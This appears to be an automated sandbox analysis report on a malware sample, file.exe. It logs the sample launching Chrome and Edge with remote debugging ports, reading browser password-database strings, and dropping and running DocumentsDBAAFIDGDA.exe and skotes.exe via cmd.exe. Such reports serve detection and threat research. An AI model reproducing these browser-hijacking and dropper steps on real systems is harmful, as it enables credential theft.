Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

File created: C:\Users\user\AppData\Local\Temp\b44c96f7-e5a1-4847-8945-58782a070878.tmp

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2552102554.000000006C88F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2541941962.000000001DAF6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2550449407.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2552102554.000000006C88F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2541941962.000000001DAF6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2550449407.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2552102554.000000006C88F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2541941962.000000001DAF6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2550449407.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2552102554.000000006C88F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2541941962.000000001DAF6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2550449407.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, 00000000.00000002.2552102554.000000006C88F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2541941962.000000001DAF6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2550449407.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2552102554.000000006C88F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2541941962.000000001DAF6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2550449407.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: file.exe, 00000000.00000002.2541941962.000000001DAF6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2550449407.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.2367543447.000000001D9ED000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2283348465.000000001D9F9000.00000004.00000020.00020000.00000000.sdmp, KJDGDGDHDGDBFIDHDBAF.0.dr, KKKJEBAAECBGDHIECAKJ.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2541941962.000000001DAF6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2550449407.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2541941962.000000001DAF6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2550449407.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

ReversingLabs: Detection: 34%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: DocumentsDBAAFIDGDA.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2308 --field-trial-handle=2212,i,15052726617655152396,536506818659578356,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2404 --field-trial-handle=2176,i,10427859700933374548,10018492864798821703,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2160 --field-trial-handle=2112,i,918585991813800388,4778854164052989657,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6760 --field-trial-handle=2112,i,918585991813800388,4778854164052989657,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6920 --field-trial-handle=2112,i,918585991813800388,4778854164052989657,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsDBAAFIDGDA.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsDBAAFIDGDA.exe "C:\Users\user\DocumentsDBAAFIDGDA.exe"
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7116 --field-trial-handle=2112,i,918585991813800388,4778854164052989657,262144 /prefetch:8
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsDBAAFIDGDA.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2308 --field-trial-handle=2212,i,15052726617655152396,536506818659578356,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2404 --field-trial-handle=2176,i,10427859700933374548,10018492864798821703,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2160 --field-trial-handle=2112,i,918585991813800388,4778854164052989657,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6760 --field-trial-handle=2112,i,918585991813800388,4778854164052989657,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6920 --field-trial-handle=2112,i,918585991813800388,4778854164052989657,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7116 --field-trial-handle=2112,i,918585991813800388,4778854164052989657,262144 /prefetch:8	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsDBAAFIDGDA.exe "C:\Users\user\DocumentsDBAAFIDGDA.exe"
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	Section loaded: winmm.dll
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	Section loaded: wininet.dll
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	Section loaded: sspicli.dll
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	Section loaded: mstask.dll
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	Section loaded: wldp.dll
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	Section loaded: mpr.dll
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	Section loaded: dui70.dll
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	Section loaded: duser.dll
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	Section loaded: chartv.dll
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	Section loaded: oleacc.dll
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	Section loaded: atlthunk.dll
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	Section loaded: winsta.dll
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	Section loaded: textshaping.dll
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	Section loaded: propsys.dll
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	Section loaded: windows.fileexplorer.common.dll
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	Section loaded: iertutil.dll
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	Section loaded: explorerframe.dll
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	Section loaded: profapi.dll
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	Section loaded: edputil.dll
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	Section loaded: urlmon.dll
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	Section loaded: srvcli.dll
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	Section loaded: netutils.dll
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	Section loaded: appresolver.dll
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	Section loaded: slc.dll
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	Section loaded: userenv.dll
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	Section loaded: sppc.dll
Source: C:\Users\user\DocumentsDBAAFIDGDA.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll
